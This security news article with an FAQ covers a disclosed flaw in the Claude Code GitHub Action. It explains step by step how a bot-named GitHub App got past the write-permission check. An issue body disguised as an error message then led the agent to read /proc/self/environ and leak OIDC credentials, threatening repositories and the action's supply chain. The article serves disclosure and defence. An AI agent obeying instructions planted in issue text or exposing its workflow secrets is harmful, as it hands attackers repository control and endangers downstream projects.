How did the permission bypass in Claude Code GitHub Action work?

The checkWritePermissions function unconditionally trusted any actor whose name ended in [bot], regardless of whether that actor actually had write access to the repository. A GitHub App has implicit read access to any public repository, so an attacker-controlled app could trigger the agent mode workflow without any legitimate permissions. Authenticated write access was supposed to be required before the agent would process issue content and run commands.

What credentials could be stolen through this vulnerability?

The primary target was the OIDC token pair — ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL — stored in the workflow's environment variables, accessible via /proc/self/environ. An attacker could trade these for a GitHub App installation token with write access to the repository, enabling code pushes, branch modifications, and injection of content into any project that pulls from the compromised action.

Why was the supply chain risk particularly severe?

Anthropic's own claude-code-action repository used the same vulnerable agent mode workflow. A successful exploit against that repository would let an attacker push malicious code directly into the action. Every downstream project that references the action by tag or branch rather than a pinned commit hash would then pull the compromised version on its next workflow run. The blast radius extended to the full dependency tree of the action.

Claude Code GitHub Action Flaw Let One Issue Hijack Repositories

One crafted issue. No write permissions. Full repository access.

That was the attack chain RyotaK of GMO Flatt Security documented in a vulnerability disclosure published June 1. The flaw was in Anthropic’s Claude Code GitHub Action. Anthropic patched it within four days of the initial report.

The Vulnerability

Claude Code’s GitHub Action is designed to require write access before an external actor can trigger agent mode workflows. The security boundary: untrusted contributors opening issues cannot cause the agent to execute code with elevated permissions.

The checkWritePermissions function enforced this by inspecting the actor name. Any actor whose name ended in [bot] was unconditionally trusted, regardless of actual permissions.

GitHub Apps have implicit read access to any public repository. An attacker could create a GitHub App, have it open an issue in the target repository, and the permission check would pass. The bot-suffixed actor name triggered the trust bypass. Authenticated write access was supposed to be required. It was not.

From there, the attacker’s issue body contained a prompt injection payload. RyotaK crafted the content to look like an error message, then refined the wording until Claude would interpret it as an instruction to recover from the error by running embedded commands. The target was /proc/self/environ, the Linux process file that exposes environment variables to the running process.

In a GitHub Actions workflow, those variables include the OIDC token request credentials. The attacker reads them, requests an OIDC token, and exchanges it for a GitHub App installation token with write access. Full repository control. From a single issue, with no write permissions.

The Supply Chain Problem

Most GitHub Action vulnerabilities stop at individual repository compromise. This one had a larger radius.

Anthropic’s own claude-code-action repository ran the same vulnerable workflow. An attacker who successfully exploited it could push malicious code directly into the action itself. Any project that references the action without pinning to a specific commit hash would pull the compromised version on its next workflow run.

The blast radius was the full downstream dependency tree.

Anthropic rated the issues CVSS 7.8 under v4.0 and paid a bug bounty. Fixes in v1.0.94 included a checkHumanActor call to verify the triggering actor is a human GitHub user rather than an app, disabling the workflow run summary by default, scrubbing environment variables from child processes started by Claude Code, and a custom gh command wrapper that validates arguments and blocks URL patterns that could be used to exfiltrate tokens.

Microsoft’s Security Blog followed with a technical case study on June 5 covering the incident in the context of CI/CD security for agentic AI workflows.

The Broader Pattern

This is not the first prompt injection via GitHub issue against an AI-integrated action. It is the first confirmed case where the attack path included an actor-name trust bypass that let the injection trigger from an account with no repository access at all.

The pattern matters for any team running AI agent workflows in CI. Actions that read issue or PR content as model input inherit the trust problem. Any untrusted contributor can write to a public issue. If the action’s permission gating fails, the injection payload in the issue body has a path to execution.

Concrete steps: pin action references to commit hashes rather than tags. Scope the permissions granted to AI action workflows to the minimum they actually need. Do not let AI agent workflows process raw issue or PR body content from untrusted actors without sanitisation.

Claude Code GitHub Action Flaw Let One Issue Hijack Repositories

The Vulnerability

The Supply Chain Problem

The Broader Pattern

References

Frequently Asked Questions